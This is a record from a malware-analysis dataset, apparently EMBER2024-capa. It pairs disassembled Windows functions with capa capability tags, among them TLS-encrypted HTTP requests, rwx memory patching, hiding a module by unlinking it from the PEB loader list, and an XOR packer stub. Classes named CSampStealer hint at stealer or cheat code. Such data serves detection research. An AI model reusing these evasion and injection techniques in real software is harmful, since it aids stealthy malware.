joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005620
Capabilities:
Print debug messages

Disassembly:
push 0x128
mov eax, 0x1000d2e2
call fcn.1000d1d5
mov esi, edx
mov edi, ecx
cmp byte [0x100118ce], 0
jne 0x100056e7
sub esp, 0xc
push 0x69
pop ecx
call fcn.10008d79
add esp, 0xc
mov ebx, eax
mov esi, str.Initialize_class_first
mov edi, ebx
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10005662
push 0x11
pop ecx
mov esi, 0x1000ec10
lea eax, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x4d
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000568a
mov ax, word [0x1000ec58]
lea edx, [ebp - 0x1c]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x100056a0
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100056ac
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100056c5
mov ax, word [0x1000ec5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000575c
push ecx
lea ecx, [ebp - 0x134]
call fcn.10005762
lea ecx, [ebp - 0x134]
call fcn.10001000
and dword [ebp - 4], 0
push edi
mov dword [ebp - 0x20], 0x3e
call fcn.10007793
push esi
lea ecx, [ebp - 0x134]
call fcn.100077c8
push dword [ebp + 8]
lea ecx, [ebp - 0x134]
call fcn.10007793
push 0
lea ecx, [ebp - 0x134]
call fcn.100077c8
push ecx
push ecx
call fcn.10001057
sub esp, 0x10
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0x20]
call fcn.1000534d
add esp, 0x10
lea ecx, [ebp - 0x134]
call fcn.1000103d
call fcn.1000d1c4
ret
Function at 0x10007f77
Capabilities:
Get remote cert context via schannel

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10011008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov dword [0x10011970], ecx
xor esi, esi
and dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x18]
push edi
xor ebx, ebx
mov dword [0x1001196c], edx
xor edi, edi
mov dword [ebp - 0x20], ebx
call fcn.100080ad
test eax, eax
jne 0x1000805a
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x18]
mov ebx, dword [ebp + 8]
inc esi
mov dword [0x10011d7c], eax
mov eax, dword [ebp + 0x10]
mov dword [0x10011d84], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
push ecx
mov ecx, ebx
call fcn.1000823d
add esp, 0xc
test eax, eax
jne 0x10008057
lea eax, [ebp - 0x1c]
mov edi, esi
push eax
push 0x53
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10008057
mov ecx, dword [ebp - 0x1c]
call fcn.100089e8
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.10008ac6
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.10008572
pop ecx
pop ecx
test eax, eax
jne 0x10008057
push ecx
push ecx
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.100086ce
add esp, 0xc
test eax, eax
jne 0x10008057
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.10008161
pop ecx
test eax, eax
jne 0x10008057
xor edi, edi
mov ebx, esi
jmp 0x1000805a
mov ebx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], 0
je 0x1000806d
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
test edi, edi
je 0x1000807b
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
test esi, esi
je 0x10008089
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov ecx, dword [0x100119ac]
test ecx, ecx
je 0x1000809c
push 0
push ecx
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000bfc7
leave
ret
Function at 0x100080ad
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10011008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
mov esi, ecx
push 0x1000ed98
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov dword [0x100119ac], eax
test eax, eax
jne 0x100080e2
mov eax, 0x8009030e
jmp 0x10008153
push ebx
push 0x38
push edi
mov ebx, 0x10011974
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [0x10011974], 4
cmp dword [ebp - 0x10], edi
je 0x10008115
lea eax, [ebp - 0x10]
mov dword [0x10011978], 1
mov dword [0x1001197c], eax
lea eax, [ebp - 0xc]
mov dword [0x10011994], 0xa80
push eax
push esi
push edi
push edi
push ebx
push edi
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [0x100119a4], 0x400018
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
mov esi, eax
pop ebx
cmp dword [ebp - 0x10], edi
je 0x10008151
push dword [ebp - 0x10]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000bfc7
leave
ret
Function at 0x10008572
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10011008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x1001196c]
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x58], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x100086c1
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
jne 0x100085c9
mov eax, 0x80090304
jmp 0x100086c0
test esi, esi
je 0x10008607
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100085d2
sub ecx, edx
cmp ecx, 1
jbe 0x10008607
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100085e5
sub ecx, edx
cmp byte [ecx + esi - 1], 0x2f
jne 0x10008607
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100085fa
sub ecx, edx
mov byte [ecx + esi - 1], al
push ebx
push dword [0x10011970]
mov ebx, dword [ebp - 0x48]
push esi
add ebx, edi
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push ebx
call fcn.1000bf46
mov ecx, ebx
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008627
mov eax, dword [ebp - 0x48]
sub ecx, edx
mov esi, dword [ebp - 0x58]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], ebx
lea eax, [ecx + ebx]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push ebx
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x54]
push eax
push ebx
push esi
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x100086bf
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push ebx
push eax
push edi
push dword [ebp - 0x5c]
call dword [0x10011d7c]
cmp eax, 0xffffffff
je 0x100086b3
test eax, eax
je 0x100086b3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x100086bf
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000bfc7
leave
ret
Function at 0x10008c3a
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10011008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov esi, ecx
push eax
push 0x59
push edx
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10008d0a
mov eax, dword [ebp - 0x20]
xor ebx, ebx
mov dword [ebp - 0x34], eax
mov edi, ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x44], 0x20
mov dword [ebp - 0x40], str.1.3.6.1.5.5.7.3.2
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x44]
push eax
push 1
push ebx
push 1
push dword [0x100119ac]
call dword [sym.imp.CRYPT32.dll_CertFindChainInStore]
mov edi, eax
test edi, edi
je 0x10008d0a
mov ecx, dword [edi + 0x10]
lea eax, [ebp - 0x1c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [0x1001197c], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
push eax
push ebx
push ebx
push 0x10011974
push ebx
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push ebx
mov dword [0x10011974], 4
mov dword [0x10011978], 1
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x10008c8e
push esi
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov eax, dword [ebp - 0xc]
mov dword [esi], eax
mov eax, dword [ebp - 8]
mov dword [esi + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000bfc7
leave
ret
Function at 0x10009469
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001111c]
mov edx, dword [0x10011964]
push ebx
push esi
mov esi, dword [0x10011968]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001192c]
push edi
mov dword [ebp - 0x10], eax
mov edi, ecx
mov eax, dword [0x10011950]
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
call fcn.10009149
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
mov eax, 0x33ee0
mov dword [edi], vtable.CSampStealerR3.0
push edi
mov dword [esi], 0x69190
mov dword [esi + 4], 0x69291
mov dword [esi + 8], 0x69298
mov dword [esi + 0xc], 0x26e8cc
mov dword [esi + 0x10], 0x141a78
mov dword [esi + 0x14], 0x26e898
mov dword [esi + 0x18], 0x6ff17
mov dword [esi + 0x1c], 0xf7b0
mov dword [esi + 0x20], 0xf7b6
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], 0x33ee6
mov dword [esi + 0x30], 0x8ba0
mov dword [esi + 0x34], 0x53b90
mov dword [esi + 0x38], 0x121914
mov dword [esi + 0x58], edx
mov dword [esi + 0x3c], 0x33bd3
mov dword [esi + 0x40], 0x33bd8
call ebx
pop ecx
mov ecx, eax
call fcn.10008d67
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR3
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x10009609
inc edx
cmp edx, 0x15
jne 0x10009534
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009568
cmp dword [esi + 0x48], eax
je 0x10009568
cmp dword [esi + 0x4c], eax
je 0x10009568
cmp dword [esi + 0x54], eax
jne 0x10009599
mov eax, dword [edi + 0x26e8dc]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e898]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e8cc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121914]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009552
mov edi, dword [ebp - 4]
mov ecx, dword [0x10011928]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
test ecx, ecx
je 0x100095c1
cmp dword [0x10011120], 0xe3296d
jne 0x100095db
mov eax, dword [esi + 0x44]
lea ecx, [eax + 0x131]
mov eax, dword [eax + 0x235]
mov dword [0x10011928], ecx
mov dword [0x10011120], eax
push ecx
call fcn.1000a731
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x20], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10008d67
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR3_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x10009dec
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001111c]
mov edx, dword [0x10011964]
push ebx
push esi
mov esi, dword [0x10011968]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001192c]
push edi
mov dword [ebp - 0x10], eax
mov edi, ecx
mov eax, dword [0x10011950]
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
call fcn.10009149
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
mov eax, 0x34620
mov dword [edi], vtable.CSampStealerR4_2.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26e9fc
mov dword [esi + 0x10], 0x141ba0
mov dword [esi + 0x14], 0x26e9c8
mov dword [esi + 0x18], 0x70667
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], edx
call ebx
pop ecx
mov ecx, eax
call fcn.10008d67
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR4_2
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x10009f5b
inc edx
cmp edx, 0x17
jne 0x10009eb1
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x10009ee5
cmp dword [esi + 0x48], eax
je 0x10009ee5
cmp dword [esi + 0x4c], eax
je 0x10009ee5
cmp dword [esi + 0x54], eax
jne 0x10009f16
mov eax, dword [edi + 0x26ea0c]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26e9c8]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26e9fc]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009ecf
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x10011928]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.1000a731
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10008d67
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR4_2_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x1000a139
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [0x1001111c]
mov edx, dword [0x10011964]
push ebx
push esi
mov esi, dword [0x10011968]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1001192c]
push edi
mov dword [ebp - 0x10], eax
mov edi, ecx
mov eax, dword [0x10011950]
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
call fcn.10009149
mov ebx, dword [sym.imp.VCRUNTIME140.dll___RTtypeid]
mov eax, 0x34620
mov dword [edi], vtable.CSampStealerR5.0
and dword [esi + 0x3c], 0
and dword [esi + 0x40], 0
push edi
mov dword [esi], 0x69900
mov dword [esi + 4], 0x69a01
mov dword [esi + 8], 0x69a08
mov dword [esi + 0xc], 0x26eb84
mov dword [esi + 0x10], 0x141d28
mov dword [esi + 0x14], 0x26eb50
mov dword [esi + 0x18], 0x70604
mov dword [esi + 0x1c], 0xfaf0
mov dword [esi + 0x20], 0xfaf6
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], 0x34626
mov dword [esi + 0x30], 0x8f10
mov dword [esi + 0x34], 0x542d0
mov dword [esi + 0x38], 0x121a3c
mov dword [esi + 0x58], edx
call ebx
pop ecx
mov ecx, eax
call fcn.10008d67
xor edx, edx
movzx ecx, byte [eax + edx]
mov edi, str.class_CSampStealerR5
cmp cl, byte [edi + edx]
mov edi, dword [ebp - 4]
jne 0x1000a2a8
inc edx
cmp edx, 0x15
jne 0x1000a1fe
mov edi, dword [ebp - 8]
xor eax, eax
cmp dword [esi + 0x44], eax
je 0x1000a232
cmp dword [esi + 0x48], eax
je 0x1000a232
cmp dword [esi + 0x4c], eax
je 0x1000a232
cmp dword [esi + 0x54], eax
jne 0x1000a263
mov eax, dword [edi + 0x26eb94]
mov dword [esi + 0x44], eax
mov eax, dword [edi + 0x26eb50]
mov dword [esi + 0x48], eax
mov eax, dword [edi + 0x26eb84]
mov dword [esi + 0x4c], eax
mov eax, dword [edi + 0x121a3c]
push 0xfa
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000a21c
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [0x10011928]
mov ebx, dword [ebp - 0x10]
mov dword [edi + 4], esi
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
call fcn.1000a731
push 0
push 0x40
push 0x3e2
mov byte [ebx + 0x128], al
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x14]
mov word [edi + 0x1c], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
push 0x10
push edi
call ebx
pop ecx
mov ecx, eax
call fcn.10008d67
push eax
push str.RTTI_error_occurred_while_initializing_CSampStealerR5_object
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
int3
Function at 0x1000a460
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
mov ecx, dword [0x10011934]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov edx, dword [eax]
jmp 0x1000a485
test edx, edx
je 0x1000a4e3
cmp dword [edx + 0x18], ecx
je 0x1000a48b
mov edx, dword [edx]
cmp edx, eax
jne 0x1000a47a
leave
ret
mov dword [0x1001190c], ecx
mov ecx, dword [edx + 4]
mov dword [0x1001191c], edx
mov eax, dword [ecx]
mov dword [0x10011910], eax
mov eax, dword [edx + 0x14]
mov eax, dword [eax]
mov dword [0x10011918], eax
mov eax, dword [edx + 0xc]
mov eax, dword [eax]
mov dword [0x10011914], eax
mov eax, dword [edx]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x14]
mov eax, dword [edx + 0x10]
mov dword [ecx], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 8]
mov dword [ecx], eax
leave
ret

Function at 0x1000a9e2
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea edi, [ecx + 0xd]
xor ebx, ebx
mov edx, edi
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1000a9f3
sub edx, esi
je 0x1000aa40
push 0xfffffffffffffff3
pop eax
sub eax, ecx
mov esi, edi
mov dword [ebp - 4], eax
movsx eax, byte [esi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
pop ecx
test eax, eax
jne 0x1000aa28
mov al, byte [esi]
cmp al, 0x5f
je 0x1000aa28
cmp al, 0xc0
jl 0x1000aa25
cmp al, 0xff
jle 0x1000aa28
xor ebx, ebx
inc ebx
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000aa2e
mov eax, dword [ebp - 4]
sub ecx, edx
add eax, esi
cmp eax, ecx
jb 0x1000aa08
mov ecx, dword [0x10011908]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp byte [eax + 0xd], 0
jne 0x1000aa54
xor ebx, ebx
inc ebx
test ebx, ebx
je 0x1000aaa9
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ebx, dword [sym.imp.VCRUNTIME140.dll_strstr]
mov esi, eax
push 0x1000f170
push esi
call ebx
pop ecx
pop ecx
test eax, eax
je 0x1000aaa9
push 0x1000f170
push esi
call ebx
pop ecx
pop ecx
push 0x20
lea esi, [eax + 3]
pop edx
mov ecx, esi
call fcn.10001282
test eax, eax
je 0x1000aaa9
push 0x19
push esi
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
add esp, 0xc
mov ecx, edi
push 0x20
pop edx
call fcn.10001282
mov byte [eax], 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000aaae
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [sym.imp.VCRUNTIME140.dll_strstr]
mov ebx, 0x1000f174
mov esi, eax
push ebx
push esi
call edi
pop ecx
pop ecx
test eax, eax
je 0x1000ab0f
push ebx
push esi
call edi
pop ecx
pop ecx
push 0x20
lea ebx, [eax + 3]
pop edx
mov ecx, ebx
call fcn.10001282
test eax, eax
je 0x1000ab0f
push 0x20
call fcn.1000c2a8
push 0x20
push ebx
push eax
mov dword [0x10011928], eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov ecx, dword [0x10011928]
add esp, 0x10
push 0x20
pop edx
call fcn.10001282
mov byte [eax], 0
mov ebx, 0x1000f178
push ebx
push esi
call edi
pop ecx
pop ecx
test eax, eax
je 0x1000ab34
push ebx
push esi
call edi
add eax, 3
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 0xc
mov dword [0x10011120], eax
pop edi
pop esi
pop ebx
ret
Function at 0x1000b8fc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 1
jne 0x1000b97e
mov eax, dword [ebp + 8]
mov dword [0x10011934], eax
push str.ashot_st
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x10011924], eax
cmp dword [0x10011924], 0
jne 0x1000b97e
push str.ashot_st
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10011924], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10011900], eax
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x100118fc], eax
mov byte [0x100118cf], 1
xor eax, eax
mov byte [ebp - 1], al
push 0
push 0
lea ecx, [ebp - 1]
call fcn.1000bb24
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
cmp dword [ebp + 0xc], 5
jne 0x1000b9a7
push dword [0x10011934]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.1000bb32
push 0
push 0
push 0x1000b063
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
xor eax, eax
inc eax
leave
ret 0xc
Function at 0x415124
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
jmp 0x4151e3
cmp dword [esi + 0x10], 0x1000
jne 0x4151cf
test byte [esi + 0x15], 1
jne 0x4151cf
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x415180
cmp ebp, 2
je 0x415180
cmp ebp, 0x10
je 0x415180
cmp ebp, 0x20
jne 0x41519c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x41519c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4151ad
mov eax, dword [esi]
add eax, ebx
call fcn.0041511c
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4151a0
cmp byte [esp + 4], 0
je 0x4151cf
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x415155
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219